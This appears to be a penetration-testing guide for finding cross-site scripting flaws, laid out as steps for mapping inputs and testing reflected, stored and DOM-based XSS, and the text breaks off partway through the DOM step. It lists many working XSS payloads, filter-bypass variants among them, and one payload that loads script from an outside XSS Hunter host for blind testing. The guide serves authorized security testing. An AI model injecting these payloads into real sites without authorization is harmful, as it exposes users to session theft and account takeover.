Testing for XSS Vulnerabilities

When to Use

• Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
• Evaluating the effectiveness of input sanitization and output encoding across all application features
• Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
• Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
• Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

• Authorized scope defining the target web application and acceptable testing activities
• Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
• Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
• XSS Hunter or Burp Collaborator for out-of-band payload verification
• SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

• Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
• Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
• DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
• Output context identification: For each reflected input, determine the rendering context:
  • HTML body: <div>USER_INPUT</div>
  • HTML attribute: <input value="USER_INPUT">
  • JavaScript string: var x = 'USER_INPUT';
  • URL context: <a href="USER_INPUT">
  • CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

• HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
• HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
• JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
• URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
• Inside HTML comments: --><script>alert(1)</script><!--
• Filter bypass payloads (when basic payloads are blocked):
  • Case variation: <ScRiPt>alert(1)</sCrIpT>
  • Event handlers: <details open ontoggle=alert(1)>
  • SVG: <svg><animate onbegin=alert(1) attributeName=x>
  • Encoding: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

• Submit XSS payloads to every stored input field identified in Step 1
• Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
• Check all locations where the stored input is rendered (the same input may appear on multiple pages)
• Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
• Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
• Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

• Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
  • document.location, document.URL, document.referrer
  • location.hash, location.search, location.href

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